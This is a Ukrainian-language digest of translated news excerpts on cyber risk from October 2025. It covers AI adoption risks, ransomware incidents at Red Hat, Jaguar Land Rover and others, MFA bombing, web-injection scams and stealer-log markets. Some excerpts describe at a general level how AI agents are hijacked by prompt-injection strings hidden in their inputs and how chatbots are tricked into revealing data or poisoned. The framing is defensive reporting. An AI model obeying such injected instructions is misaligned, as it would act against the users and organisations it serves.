По-перше, використання штучного інтелекту в схемі створює ризик, особливо якщо використовуються інструменти з «відкритим кодом» (які використовують вхідні дані для навчання і не забезпечують конфіденційність). Довірені особи повинні прагнути використовувати інструменти з «закритим кодом», в ідеалі за допомогою роботодавця-спонсора, або залучати стороннього постачальника, за умови встановлення суворих заходів належної перевірки та договірних гарантій (щодо відповідальності та повідомлення про порушення) для зменшення вразливості, властивої додаванню нового постачальника послуг.

По-друге, використання штучного інтелекту сторонніми постачальниками послуг становить додаткову загрозу, оскільки нещодавно у Великобританії сталися гучні кіберінциденти, пов'язані з діяльністю постачальників послуг. Згідно з Загальним кодексом, довірені особи зобов'язані переконатися, що постачальники послуг застосовують належні заходи внутрішнього контролю, вимагаючи від них надати інформацію про використання штучного інтелекту та забезпечуючи наявність вичерпних договірних умов…

По-третє, використання ШІ членами створює ризики, якщо вони вводять конфіденційні дані про пенсії у відкриті генеративні платформи ШІ, такі як ChatGPT, оскільки ці дані можуть бути використані для навчання ШІ або викриті під час кіберінциденту в компанії, що розробляє ШІ. З огляду на фідуціарний обов'язок довірених осіб захищати членів, вони повинні розглянути можливість включення попереджень у повідомлення для членів, в яких рекомендується не використовувати відкриті платформи ШІ для інтерпретації документів схеми, що містять конфіденційну інформацію. Зрештою, довірені особи повинні ретельно управляти ШІ, щоб використовувати його можливості, одночасно вирішуючи проблеми, пов'язані з кібербезпекою…» ***(Callum Duckmanton, Chris Brown and Samantha Howell. Steps trustees should take to mitigate the cyber risk of AI // Burges Salmon (https://www.burges-salmon.com/articles/102lq6i/steps-trustees-should-take-to-mitigate-the-cyber-risk-of-ai/#page=1). 15.10.2025).***

***

«…Хоча внутрішньо технологія ШІ сама по собі не є більш ризикованою, ніж інші нові ІТ-системи, її швидке впровадження сприяє створенню нових шляхів атак через неперевірені системи та ризик змін при інтеграції нових або хмарних послуг в існуючу ІТ-інфраструктуру. Зовні штучний інтелект використовується зловмисниками для здійснення все більш складних і автоматизованих атак, що дозволяє їм швидко сканувати мережі, запускати паралельні атаки та використовувати поліморфне шкідливе програмне забезпечення на базі штучного інтелекту, щоб уникнути виявлення. Крім того, штучний інтелект покращує соціальну інженерію, створюючи надзвичайно реалістичні персоналізовані фішингові електронні листи та «вішингові» депфейки, здатні обдурити співробітників, щоб вони надали доступ до системи або перенаправили платежі…

Новий вектор загрози передбачає атаки на самі системи ШІ, такі як зловмисне підказування (обман чат-ботів з метою розкриття конфіденційних даних) та отруєння ШІ (введення зловмисних даних для створення упереджених або помилкових результатів). Національний центр кібербезпеки Великобританії (NCSC) попереджає, що до 2027 року критично важливі системи можуть стати вкрай вразливими до сучасних загроз. Хоча у Великобританії немає спеціального закону про кібербезпеку ШІ, ризики зараз підпадають під загальні зобов'язання, такі як GDPR та Регламент NIS, а найближчі законодавчі оновлення, як очікується, посилять нормативні вимоги та штрафи. У США підхід є неоднозначним і базується на галузевих нормативних актах (SEC, FCC) та високій загрозі приватних судових позовів, хоча на рівні штатів з'являються закони про ШІ…

В обох юрисдикціях юридичний ризик поширюється на керівництво компаній, що супроводжується зростанням ризиків особистої відповідальності для топ-менеджерів, які не вживають заходів для боротьби з кіберризиками. Про це свідчать штрафи у фінансовому секторі Великої Британії та цілеспрямовані судові позови проти керівників у США. Внутрішні юристи повинні проактивно управляти цим ризиком шляхом: визначення відповідних кіберправових вимог; інформування внутрішніх команд про правові наслідки їхніх рішень; забезпечення того, щоб управління на рівні ради директорів включало навчання та документальний контроль за практиками штучного інтелекту та кібербезпеки; впровадження чітких політик щодо штучного інтелекту та кібербезпеки; встановлення суворих зобов'язань щодо безпеки в контрактах з постачальниками; та зменшення залишкової фінансової відповідальності за допомогою компенсації постачальників, захисту від відповідальності та адекватного страхового покриття, включаючи страхування відповідальності керівників вищої ланки». ***(Caroline Churchill, Jenny Gibbs, John C. Gray and Tyler R. Bridegan. Artificial intelligence and cyber risk // Womble Bond Dickinson LLP (https://www.womblebonddickinson.com/uk/insights/articles-and-briefings/artificial-intelligence-and-cyber-risk). 15.10.2025).***

***

«…Генеративний ШІ поширюється в австралійських організаціях набагато швидше, ніж очікувалося: 62% керівників у всьому світі очікують, що до 2028 року вона буде інтегрована в усі функції, проте лише половина з них вважає, що їхні компанії готові до супутніх ризиків у сфері кібербезпеки та конфіденційності даних. Штучний інтелект посилює давні загрози — фішинг, соціальну інженерію, витік даних, прогалини в управлінні — і створює нові, такі як експлуатація моделей, глибоко підроблені «вішинг» та поліморфне шкідливе програмне забезпечення, написане штучним інтелектом. Майже половина керівників вже називають побоювання щодо безпеки даних гальмом для подальших інвестицій у штучний інтелект…

Недавні реформи в Австралії — перегляд Закону про конфіденційність, Закон про цифрову ідентифікацію 2024 року та майбутні правила щодо «високоризикового» ШІ — свідчать про зростання регуляторних очікувань. Щоб не відставати від темпів, організації повинні інтегрувати ШІ в існуючі структури

управління ризиками та дотриманням вимог, а не використовувати його як додатковий інструмент. Співісна програма управління повинна (1) відображати місцеві та глобальні правила, (2) узгоджувати проекти ШІ зі стратегічними цілями, (3) інтегрувати кіберзахист та захист даних у весь життєвий цикл ШІ та (4) призначити чіткий нагляд за керівником ШІ та міжфункціональним комітетом. OAIC наполягає на проведенні оцінок впливу на конфіденційність, прозорості та людському нагляді за будь-яким ШІ, що обробляє особисті дані; отже, PIA та оцінки впливу ШІ повинні бути рутинними…

Практичні кроки: навчити персонал безпечному та етичному використанню; впровадити спеціальні засоби безпеки для ШІ; забезпечити контроль доступу та мінімізацію даних; проводити ранню оцінку ризиків; інтегрувати моніторинг ШІ в кібербезпекові системи підприємства. На рівні правління слід відстежувати показники ефективності та ризиків, а культура «швидко помиляйся, швидше вчись» забезпечить постійну адаптацію.

Завдяки такому підходу ШІ стає стратегічним активом, а не вразливим місцем: організації можуть масштабувати інновації, задовольняти вимоги регуляторних органів і підтримувати довіру зацікавлених сторін навіть у умовах стрімкого розвитку загроз і технологій…» ***(Leon Fouche. A strategic approach to managing cyber-related AI risks // BDO (https://www.bdo.com.au/en-au/insights/cyber-security/a-strategic-approach-to-managing-cyber-related-ai-risks). 20.10.2025).***

***

Кіберзлочинність та кібертероризм

«Звіт Агентства Європейського Союзу з кібербезпеки (ENISA) про загрози в 2025 році виявляє все більш складне та спільне середовище кіберзагроз, в якому зловмисники повторно використовують інструменти, експлуатують вразливості та націлюються на взаємопов'язану цифрову інфраструктуру ЄС, щоб посилити свій вплив. На основі аналізу майже 5000 інцидентів у звіті підкреслюється, що хоча найчастішим типом інцидентів були розподілені атаки типу «відмова в обслуговуванні» (DDoS) (77%), що значною мірою було спричинено хактивізмом, найнебезпечнішою загрозою для ЄС визнано програмне забезпечення для вимагання викупу…

Основні тенденції показують, що фішинг залишається основним методом початкового вторгнення, складаючи 60% випадків і стаючи все більш витонченим завдяки автоматизації та наборам «фішинг як послуга». Важливою новою тенденцією є зростаюча роль штучного інтелекту, який використовується як для посилення зловмисних дій, таких як фішинг і соціальна інженерія, так і сам стає новою мішенню для атак. У звіті також відзначається зближення різних груп загроз, коли державні суб'єкти приймають на себе роль хактивістів («фейктивізм»), а різні групи обмінюються тактиками та інструментами.

Державне управління було сектором, який найбільше зазнав атак, отримавши 38,2% атак, переважно від хактивістів та груп, що фінансуються державою та займаються кібершпигунством. Далі йшли сектори транспорту, цифрової

інфраструктури, фінансів та виробництва. Важливо, що понад половина всіх інцидентів була спрямована проти об'єктів, визначених Директивою NIS2 як критично важливі, що підкреслює надзвичайну важливість законодавства для захисту інфраструктури ЄС…» ***(EU consistently targeted by diverse yet convergent threat groups // European Union Agency for Cybersecurity (https://www.enisa.europa.eu/news/etl-2025-eu-consistently-targeted-by-diverse-yet-convergent-threat-groups). 01.10.2025).***

***

«Абстрактне поняття внутрішньої загрози в кібербезпеці стало реальним небезпечним викликом для кіберкореспондента ВВС Джо Тіді, коли до нього безпосередньо звернулася особа, яка називала себе Syn і стверджувала, що представляє групу хакерів Medusa, що займається розробкою програм-вимагачів… Тіді запропонували частину майбутнього викупу в обмін на надання доступу до внутрішніх систем ВВС. Після консультацій із керівництвом редакції та службою безпеки Тіді вирішив вступити в контакт із Syn, щоб розкрити весь масштаб схеми, перетворивши цю зустріч на контрольоване розслідування. Syn виклав чіткий план: Тіді мав передати свої облікові дані, що дозволило б хакерам проникнути в мережу ВВС, розгорнути шкідливе програмне забезпечення та запустити атаку з використанням програм-вимагачів... Щоб підкріпити свою надійність, Syn надав посилання на сайт Medusa в даркнеті та навів приклади минулих успіхів, зокрема атаки на британську медичну компанію та американського постачальника екстрених послуг, стверджуючи, що ці порушення стали можливими завдяки змови інсайдерів.

Коли Тіді навмисно затягував час, щоб проконсультуватися з внутрішніми експертами з безпеки, тон злочинців різко змінився. Спочатку розмовний Syn став нетерплячим, вдавшись до психологічного тиску — дратуючи Tidy картинами розкішного життя на пляжі та вимагаючи негайних дій. Це словесне примушення потім переросло в пряму технологічну атаку: телефон Тіді був завалений безперервним потоком спливаючих вікон двофакторної аутентифікації (2FA), тактика, відома як MFA-бомбардування. Метою було перевантажити його, сподіваючись, що він випадково схвалить один із запитів на вхід і надасть зловмисникам доступ. Ситуація перетворилася з дистанційних переговорів на безпосереднє особисте протистояння, що змусило ВВС відключити Тіді від усіх внутрішніх систем як запобіжний захід безпеки. У дивному повороті подій хакери пізніше надіслали нещире вибачення: «Команда приносить свої вибачення. Ми тестували вашу сторінку входу в ВВС і дуже шкодуємо, якщо це спричинило вам якісь проблеми», але при цьому наполягали, що початкова угода залишається в силі. Зрештою, не отримавши подальшої відповіді, зловмисники видалили свій обліковий запис і зникли.

…цей епізод показує, як групи, що займаються викраденням даних, тепер поєднують великі хабарі з миттєвим технічним примусом, підкреслюючи необхідність для співробітників повідомляти про підозрілі звернення, а для організацій — посилювати захист як від соціальної інженерії, так і від зловживання MFA…» ***(Efosa Udinmwen. Cybercriminals tried to bribe a BBC journalist to hack***

into one of the world's biggest news websites - here's what happened next // Future US, Inc. (https://www.techradar.com/pro/security/cybercriminals-tried-to-bribe-a-bbc-journalist-to-hack-into-one-of-the-worlds-biggest-news-websites-heres-what-happened-next). 04.10.2025).

***

«В епоху безперебійного онлайн-банкінгу, коли одним кліком можна переказати кошти або оплатити рахунки, раптова поява спливаючого вікна, що імітує інтерфейс вашого банку, може призвести до катастрофи. Саме це сталося з Кентом, пильним користувачем, який поділився своєю небезпечною ситуацією: під час транзакції на своєму фінансовому рахунку з'явилося переконливе спливаюче вікно з логотипом компанії, в якому вимагали ввести його електронну адресу та номер телефону для «верифікації». Він ввів дані, але потім помітив миттєве з'явлення екрану «CREDIT DONKEY» — яскравий червоний прапор, що викривав шахрайство. Зреагувавши миттєво, Кент закрив комп'ютер, зателефонував за номером, вказаним на звороті своєї картки, і повідомив про інцидент, що, ймовірно, дозволило уникнути подальшої шкоди. Його історія підкреслює підступну загрозу, відому як шахрайство з веб-ін'єкцією, коли зловмисники захоплюють сеанс вашого браузера, щоб накласти фальшиву сторінку входу або перевірки на легітимні. З'являючись, коли ви вже провели аутентифікацію, ці накладки виглядають надзвичайно автентично і призначені для збору облікових даних, кодів двофакторної аутентифікації (2FA) або інших конфіденційних даних, часто використовуючи обманні перенаправлення, щоб заспокоїти жертв і змусити їх підкоритися…

Щоб забезпечити безпеку, експерти радять щодня перевіряти рахунки та вмикати сповіщення про транзакції; негайно змінювати вразливі паролі на унікальні, створені менеджером; видалити особисті дані з сайтів, що торгують даними, щоб зменшити кількість фішингових атак; перейти з SMS на багатофакторну аутентифікацію на основі додатків; запускати перевірені антивірусні сканування, щоб видалити будь-яке приховане шкідливе програмне забезпечення; письмово повідомити банк, щоб можна було вимагати додаткову перевірку; заморозити кредит у всіх трьох бюро; та використовувати послуги моніторингу ідентичності, які позначають використання вашого номера соціального страхування або електронної пошти в даркнеті… Розумні щоденні звички — ніколи не вводити дані у спливаючі вікна, завжди входити в систему через власний URL-адресу або додаток банку, оновлювати програмне забезпечення та використовувати окрему електронну адресу виключно для фінансових рахунків — ще більше зменшують площу атаки та допомагають уникнути дорогого порушення безпеки через хитру підроблену сторінку…» ***(Kurt Knutsson. Protect yourself from sneaky web injection scams // FOX News Network, LLC. (https://www.foxnews.com/tech/protect-yourself-from-sneaky-web-injection-scams). 04.10.2025).***

***

«…Компанія Red Hat підтвердила, що зловмисник, який називає себе «Crimson Collective», отримав доступ до самостійно розміщеного сервера GitLab Community Edition, який використовується виключно Red Hat Consulting, і стверджує, що скопіював близько 28 000 приватних репозиторіїв разом із звітами про взаємодію з клієнтами (CER), які можуть містити схеми мережі, дані конфігурації та токени автентифікації… Зловмисники заявляють, що вони є групою, яка займається вимаганням викупу, і опублікують викрадені матеріали, якщо переговори не відбудуться. Red Hat наполягає, що ніякі інші корпоративні послуги, продукти або ширший ланцюжок постачання програмного забезпечення не постраждали, але Центр кібербезпеки Бельгії (CCB) попереджає місцеві організації та всіх партнерів, які покладалися на Red Hat Consulting, негайно змінити ключі, токени та облікові дані…

Сам GitLab не був зламаний; компанія зазначає, що злом стосувався самокерованої інстанції Red Hat, і нагадує клієнтам про необхідність оновлення таких інсталяцій та забезпечення їх належної безпеки. Цей інцидент додається до низки нещодавніх випадків порушення безпеки ланцюга постачання, пов'язаних із платформами хостингу коду, що підкреслює необхідність пильної безпеки репозиторіїв та гігієни облікових даних». ***(Rob Wright. Red Hat Investigates Widespread Breach of Private GitLab Repositories // TechTarget, Inc. (https://www.darkreading.com/application-security/red-hat-widespread-breaches-private-gitlab-repositories). 02.10.2025).***

***

«…Виробник розкішних автомобілів Jaguar Land Rover (JLR) нарешті виходить з місячного простою після масштабної кібератаки, яка змусила компанію вимкнути системи 2 вересня. Атака, яку JLR спочатку не надавала значення, але пізніше підтвердила, що вона призвела до перегляду даних, за оцінками, коштувала компанії від 1,7 до 2,4 мільярда доларів, а щотижневі втрати доходу склали до 70 мільйонів… Група, яка взяла на себе відповідальність, називається «Scattered Lapsus Hunters» і є об'єднанням відомих угруповань Lapsus$, Scattered Spider та ShinyHunters, які, як стверджується, зламали бази даних, що розміщуються на серверах Salesforce. Поетапне відновлення виробництва JLR, яке зазвичай становить 1000 автомобілів на день, здійснюється у співпраці з фахівцями з кібербезпеки, британською урядовою організацією NCSC та правоохоронними органами…

Експерти називають цей інцидент суворим попередженням, яке демонструє, що навіть великі компанії вразливі до повного порушення операційної діяльності… Аналіз показує, що атака була посилена через погану сегментацію мережі, що дозволило зловмисникам, які, ймовірно, зберегли доступ після невеликого вторгнення програм-вимагачів HELLCAT у березні, вплинути на IT- та OT-системи в критичний момент (близько «New Plate Day», періоду пікового продажу). Це підкреслює необхідність для виробників підвищити стійкість за допомогою суворої сегментації мережі, багатофакторної автентифікації та ретельного аналізу після інциденту, щоб запобігти наполегливості зловмисників…» ***(Robert Lemos. Jaguar Land Rover Shows Cyberattacks Mean (Bad) Business // TechTarget, Inc.***

(https://www.darkreading.com/cyberattacks-data-breaches/jaguar-land-rover-cyberattacks-bad-business). 03.10.2025).

***

«Атаки без кліків (Zero-click attacks) — вторгнення, що використовують приховані недоліки програмного забезпечення без будь-яких кліків, завантажень або відома користувача — перетворилися з нішевої загрози на загальноприйняту небезпеку. Такі інциденти, як помилка Stagefright в Android, шпигунське програмне забезпечення Pegasus, яке проникло через WhatsApp та iMessage, а також орієнтована на штучний інтелект атака «EchoLeak», показують, як одне-єдине неправильно сформоване повідомлення може непомітно захопити контроль, викрасти дані або провести спостереження у величезних масштабах. Їх небезпека зараз посилюється швидким впровадженням автономних агентів штучного інтелекту, багато з яких працюють на основі великих мовних моделей, здатних читати електронні листи, запускати код і переказувати гроші від імені людини. Якщо зловмисник захоплює цих агентів — часто за допомогою рядків «prompt-injection», захованих у вхідних даних — шкідливе програмне забезпечення отримує як невтомного працівника, так і доступ інсайдера, виконуючи руйнівні завдання швидше, ніж будь-який людський супротивник…

Проте 63% організацій досі не мають офіційної політики безпеки штучного інтелекту, що робить їх вразливими до зловмисних втручань, некерованих нелюдських ідентичностей та незахищеного програмного забезпечення… Щоб усунути ці прогалини, необхідна багаторівнева система захисту: обмеження прав кожного агента та утримання його в пісочниці; суворий контроль ідентичності та доступу для кожної машини; впровадження «штучного інтелекту» для перевірки запитів та результатів на наявність шкідливого вмісту або витоку даних; постійне оновлення програмного забезпечення; та застосування принципу «нульової довіри», згідно з яким кожна інформація вважається небезпечною, доки не буде доведено її безпечність. Тільки поєднуючи ці заходи з обміном інформацією в масштабах галузі та постійним навчанням з питань безпеки, підприємства можуть сподіватися випередити майбутнє, в якому головним полем битви в кібервійні стануть машини, а не люди…» ***(Julian Horsey. Zero-Click Attack AI Vulnerabilities : Hackers Don't Need You to Click Anymore // Geeky Gadgets (https://www.geeky-gadgets.com/zero-click-attack-explained/). 02.10.2025).***

***

«Обсяг і складність кібератак різко зростають, змушуючи організації боротися з розмитою межею між законною та зловмисною діяльністю, згідно з доповіддю Comcast про загрози, заснованою на 34,6 мільярдах інцидентів у сфері кібербезпеки. Зараз зловмисники проводять одночасно як великомасштабні автоматизовані кампанії, так і приховані цілеспрямовані вторгнення, змушуючи захисників фільтрувати величезні обсяги фонового шуму, виявляючи при цьому тихі сигнали про побічні рухи…

Штучний інтелект (ШІ) сприяє цій складності: зловмисники використовують генеративні моделі для створення переконливих фішингових атак і шкідливого

програмного забезпечення, знижуючи бар'єр для входу злочинців. Одночасно внутрішнє використання несанкціонованого «тіньового ШІ» співробітниками розширює площу атаки, піднімаючи нові питання щодо захисту нелюдських ідентичностей, таких як автономні агенти. Хоча ШІ є життєво важливим для оборони з метою масштабування виявлення аномалій та прискорення реагування, автоматизація повинна бути збалансована з кваліфікованими людськими знаннями для стратегічної інтерпретації та керівництва.

Людський фактор залишається основною вразливістю; кінцеві користувачі часто є точкою входу, а команди з безпеки страждають від втоми через постійні сповіщення та повторювані завдання, що збільшує ризик пропустити критичні загрози. Крім того, зловмисники підривають традиційні сигнали довіри на основі IP, маршрутизуючи зловмисний трафік через скомпрометовані домашні та бізнес-пристрої, створюючи «проксі-сервери для домашнього використання», які дозволяють зловмисному трафіку виглядати легітимним. Це вимагає переходу до поведінкового аналізу та надійних підходів на основі нульової довіри…

Зрештою, у звіті підкреслюється, що кібербезпека є основою стійкості бізнесу. Організаціям потрібна багаторівнева стратегія захисту, яка поєднує профілактику (наприклад, багатофакторну автентифікацію та встановлення виправлень) з адаптивними засобами захисту, включаючи виявлення на основі штучного інтелекту та ефективне управління ідентифікацією як людей, так і машин. У міру зростання масштабів і прихованості загроз стійкість залежить від поєднання правильних технологій з людським досвідом та формування всеосяжної культури обізнаності…» ***(Anamarija Pogorelec. Phishing is old, but AI just gave it new life // Help Net Security (https://www.helpnetsecurity.com/2025/10/06/phishing-ai-enterprise-resilience-security/). 06.10.2025).***

***

«…Нещодавній звіт Hiscox Cyber Readiness Report, в якому було опитано майже 6000 підприємств, показав, що малі компанії продовжують сильно страждати від цифрових загроз: 59% з них повідомили про кібератаки протягом останнього року. Третина постраждалих компаній зазнала фінансових втрат, перебоїв у роботі, шкоди репутації та вигорання персоналу. Програми-вимагачі залишаються серйозною загрозою, яка зачепила 27% респондентів, 80% з яких зізналися, що заплатили викуп. Однак ця виплата не дала жодних гарантій, оскільки лише 60% відновили свої дані, а майже третину згодом попросили заплатити знову, що свідчить про те, що поступки вимагачам заохочують до подальших спроб…

Кіберзлочинці все більше зосереджуються на крадіжці конфіденційних бізнес-даних, таких як контракти, електронні листи керівників та фінансова інформація, які вони монетизують, оцінюючи загрози на основі репутаційних збитків, використовуючи прогалини в системах контролю запобігання втраті даних компаній. Дослідження також висвітлило появу ризиків, пов'язаних зі штучним інтелектом: понад половина респондентів повідомили про інциденти, пов'язані з вразливостями, від депфейків до слабких місць у сторонніх додатках штучного інтелекту, навіть попри те, що майже дві третини підприємств вважають штучний

інтелект скоріше можливістю, ніж загрозою. Для боротьби з цими викликами компанії збільшують бюджети на безпеку та впроваджують багаторівневі системи захисту, включаючи навчання персоналу, захист від програм-вимагачів, автоматичне видалення шкідливого програмного забезпечення та комплексні системи безпеки, що поєднують брандмауери, менеджери паролів та безпечні інструменти резервного копіювання. Результати дослідження також спонукали до закликів щодо більшої прозорості: 71% респондентів підтримали обов'язкове розкриття інформації про виплати викупу та суми, про які йдеться…» ***(Efosa Udinmwen. 80% of firms that experienced a ransomware attack have paid up, says research - generating millions of dollars of easy cash for criminals // Future US, Inc. (https://www.techradar.com/pro/security/80-of-firms-that-experienced-a-ransomware-attack-have-paid-up-says-research-generating-millions-of-dollars-of-easy-cash-for-criminals-heres-what-you-need-to-know). 06.10.2025).***

***

«…Згідно з 11-м щорічним звітом Nokia про загрози в сфері інформаційної безпеки, глобальний телекомунікаційний сектор стикається з тривожним зростанням кількості кібератак, про що свідчать такі інциденти, як злом SK Telecom. У звіті міститься попередження про те, що зловмисники все частіше проникають в основну телекомунікаційну інфраструктуру, залишаючись непоміченими, а розподілені атаки типу «відмова в обслуговуванні» (DDoS) досягають «нових екстремальних рівнів», посилюючись за рахунок скомпрометованих домашніх інтернет-з'єднань. Зловмисники отримують доступ до конфіденційних систем, таких як дані абонентів і платформи законного перехоплення, про що свідчить діяльність відомої групи Salt Typhoon, яка зловживає надійними інструментами, незахищеними пристроями та неправильними налаштуваннями, щоб приховати свою діяльність…

63% операторів минулого року стикалися принаймні з однією атакою типу «життя за рахунок землі», під час якої зловмисники використовують легальні інструменти та глибокі знання в галузі телекомунікацій, щоб уникнути виявлення. Водночас DDoS-атаки «терабітного масштабу», пікова потужність яких становить від 5 до 10 Тбіт/с, тепер є «щоденною реальністю» і відбуваються вп'ятеро частіше, ніж у 2024 році. Ці атаки є швидкими: 78% з них закінчуються протягом п'яти хвилин, що підкреслює необхідність швидкого виявлення та запобігання. Тривожним є те, що, згідно з доповіддю, понад 100 мільйонів житлових кінцевих точок у всьому світі (4% від загальної кількості) зараз доступні для зловмисного використання…

Щоб протистояти цій зростаючій хвилі, Nokia радить операторам надавати пріоритет штучному інтелекту та машинному навчанню (ML) для аналізу та виявлення загроз, а також розглядати «квантово-безпечні мережі» як «наступний рубіж». Крім того, телекомунікаційні компанії повинні терміново поліпшити внутрішні заходи безпеки та гігієну мережі, оскільки ризики з боку інсайдерів, людські помилки та неправильні налаштування залишаються основними вразливими місцями, що сприяють майже 60% дорогих порушень. Експерти Nokia закликають сектор підвищити стійкість за допомогою спільного аналізу загроз,

реагування на основі штучного інтелекту та крипто-адаптивності, підкреслюючи, що захист від DDoS-атак повинен бути архітектурно вбудований у мережу для забезпечення безперебійної роботи критично важливих функцій». ***(Anne Morris. Nokia report reveals alarming extent of telco cybersecurity threats // Decisive Media Limited (https://www.telecomtv.com/content/security/nokia-report-reveals-alarming-extent-of-telco-cybersecurity-threats-53994/). 08.10.2025).***

***

«…Згідно з новим звітом компаній F-Secure та Omdia, кількість кібершахрайств за останній рік подвоїлася, тому споживачі тепер очікують, що їхні постачальники комунікаційних послуг (CSP) стануть їхньою основною захистом від цифрових загроз, позиціонуючи кібербезпеку як «наступний рубіж цінності для клієнтів». Дослідження показує, що якщо CSP не надають пріоритету кібербезпеці споживачів, вони вже відстають у конкурентній боротьбі. CSP мають унікальні можливості стати «надійними цифровими охоронцями» завдяки своїм масштабам та існуючій довірі споживачів; 71% споживачів віддають перевагу або розглядають можливість отримання захисту безпосередньо через додаток свого CSP…

Вбудовуючи комплексну цифрову безпеку безпосередньо в послуги зв'язку, провайдери можуть перетворити безпеку з додаткової опції на невід'ємну частину сучасного цифрового життя, тим самим відкриваючи значні переваги для бізнесу. Кібербезпека, поряд із гарантією швидкості, є найбільш ймовірною додатковою послугою, за яку споживачі мобільного або широкосмугового зв'язку готові платити, а вбудовування безпеки в основні додатки CSP підвищує загальну залученість до додатків на 57%. Ті провайдери, які діятимуть рішуче, отримають конкурентну перевагу, що призведе до збільшення доходів, зменшення відтоку клієнтів і зміцнення лояльності до бренду, а також до необхідності відповідального використання штучного інтелекту для захисту від загроз, пов'язаних із штучним інтелектом…» ***(CSPs Missing Billion-Dollar Opportunity in Consumer Cyber Security, New Research Finds // yahoo! finance (https://finance.yahoo.com/news/csps-missing-billion-dollar-opportunity-143800832.html). 08.10.2025).***

***

«Норвезькі чиновники розпочали офіційне розслідування можливого випадку кіберзлочину або шпигунства після того, як за кілька годин до офіційного оголошення результатів спостерігали масовий і підозрілий сплеск активності ставок на переможця цьогорічної Нобелівської премії миру. Інцидент пов'язаний з платформою прогнозування на основі блокчейну Polymarket, де шанси на перемогу лідера опозиції Венесуели Марії Коріни Мачадо несподівано злетіли з 3,75% до майже 73%, незважаючи на те, що раніше в ЗМІ не було жодних спекуляцій про те, що вона є фаворитом… Ключовим показником витоку інформації став один нещодавно відкритий рахунок, на якому було поставлено приблизно 70 000 доларів на перемогу Мачадо, що принесло близько 30 000 доларів прибутку, а два інших рахунки, зосереджені на Мачадо, принесли сукупний прибуток у розмірі 90 000 доларів. Цей дуже зручний час і великий обсяг ставок

настійно вказують на те, що інформація витекла з дуже секретного п'ятичленного Нобелівського комітету. Розслідування піднімає важливі питання щодо безпеки однієї з найтаємничіших нагород у світі, особливо з огляду на те, що величезні прибутки вказують на порушення, яке надало гравцям остаточну інформацію до оголошення результатів…» ***(Nate Williams. 2025 Nobel Prize Hit By Suspected Cyber Crime According To Norwegian Officials // Static Media (https://www.slashgear.com/1478808/what-happened-coinout-app-shark-tank-season-9/). 17.10.2025).***

***

«Останній звіт Microsoft Digital Defense Report підкреслює критичну зміну в ландшафті кіберзагроз, де переважна більшість атак зараз мотивована фінансовою вигодою, а не шпигунством, причому більше половини (52%) атак з відомими мотивами пов'язані з вимаганням або програмним забезпеченням-вимагачем. Хоча загрози з боку таких держав, як Росія, Китай, Іран і Північна Корея, залишаються серйозною проблемою, безпосередній ризик для організацій, особливо невеликих, походить від злочинців-опортуністів, які використовують дедалі більш досконалі, прискорені штучним інтелектом шкідливі програми та фішинг-техніки…

У звіті підкреслюється, що ця загальна загроза посилюється через непослідовність у практиках кібербезпеки, особливо в Ірландії, де 30% працівників повідомили, що не проходили навчання протягом останнього року, причому найбільший розрив у навчанні спостерігається у малих та середніх підприємствах (МСП). Зловмисники зосереджують свою увагу на критично важливих державних службах, таких як лікарні та місцеві органи влади, через їхні конфіденційні дані та обмежені можливості захисту, що призводить до реальних наслідків, таких як затримки у наданні невідкладної допомоги та порушення роботи транспорту…

Державні суб'єкти одночасно розширюють свою діяльність у сфері шпигунства, а в деяких випадках і отримання доходів. Китай прискорює свою шпигунську діяльність у різних галузях промисловості, Іран розширює свою діяльність з Близького Сходу на Північну Америку, а Росія посилила атаки на країни НАТО, що підтримують Україну, часто використовуючи екосистему кіберзлочинців. Північна Корея відома тим, що використовує штучний інтелект для отримання віддалених ІТ-робочих місць, перераховуючи зарплати назад режиму.

Важливим висновком є те, що зловмисники переважно «входять у систему», а не «зламують її», причому в першій половині 2025 року кількість атак на основі ідентифікації зросла на 32%, головним чином за рахунок масштабного підбору паролів, що стало можливим завдяки витоку облікових даних та шкідливому програмному забезпеченню для викрадення інформації. Простим рішенням цієї проблеми є широке впровадження багатофакторної аутентифікації (MFA), стійкої до фішингу, яка може блокувати понад 99% атак на основі ідентифікації…

Зрештою, Microsoft наголошує, що кібербезпека є спільним пріоритетом у сфері оборони, що вимагає від керівників організацій ставитися до неї як до стратегічного імперативу, використовуючи штучний інтелект як для захисту, так і для виявлення, та покладаючись на тісну співпрацю між галузями та урядами для

створення колективного стримування та застосування санкцій за зловмисну діяльність…» ***(Extortion and ransomware drive over half of cyberattacks // Microsoft (https://news.microsoft.com/europe/2025/10/16/extortion-and-ransomware-drive-over-half-of-cyberattacks/). 16.10.2025).***

***

«Російська екосистема кіберзлочинності швидко розвивається, переходячи від традиційного продажу скомпрометованого доступу до протоколу віддаленого робочого столу (RDP) до масштабної торгівлі шкідливим програмним забезпеченням «stealer logs» для несанкціонованого входу в систему. Ця нова парадигма підживлюється сучасним шкідливим програмним забезпеченням для викрадення інформації, таким як RedLine, Raccoon і Vidar, яке ефективно збирає необроблені вихідні журнали, що містять надзвичайно конфіденційні дані, такі як збережені в браузері паролі, файли cookie, дані криптовалютних гаманців і сесійні токени…

Ця зміна дозволяє злочинцям обходити засоби контролю на рівні мережі та негайно видавати себе за жертв на різних платформах, маючи більший охоплення та прихованість, ніж доступ через RDP. Журнали часто об'єднуються з автоматизованими скриптами для експлуатації та публікуються на відомих російських форумах, що викликає гонку серед злочинців за монетизацію даних…

Механізм зараження зазвичай передбачає розгортання крадія за допомогою фішингу або шкідливих завантажень, де він сканує браузери та додатки, використовує введення процесів та виклики API для доступу до сховищ облікових даних і швидко викрадає зібрані дані на зовнішні сервери, часто надаючи пріоритет швидкому вилученню над стійкістю, щоб уникнути виявлення. Ця високоавтоматизована та масштабована модель торгівлі становить значну проблему для традиційних заходів безпеки, вимагаючи від кіберзахисників переходу до моніторингу журналів у реальному часі, суворої багатофакторної автентифікації та швидкого реагування на інциденти, щоб протидіяти різноманітним загрозам, які створюють російські кіберзлочинці». ***(Tushar Subhra Dutta. Russian Cybercrime Market Hub Transferring from RDP Access to Malware Stealer Logs to Access // Cyber Security News (https://cybersecuritynews.com/russian-cybercrime-market-hub-transferring-from-rdp-access/). 14.09.2025).***

***

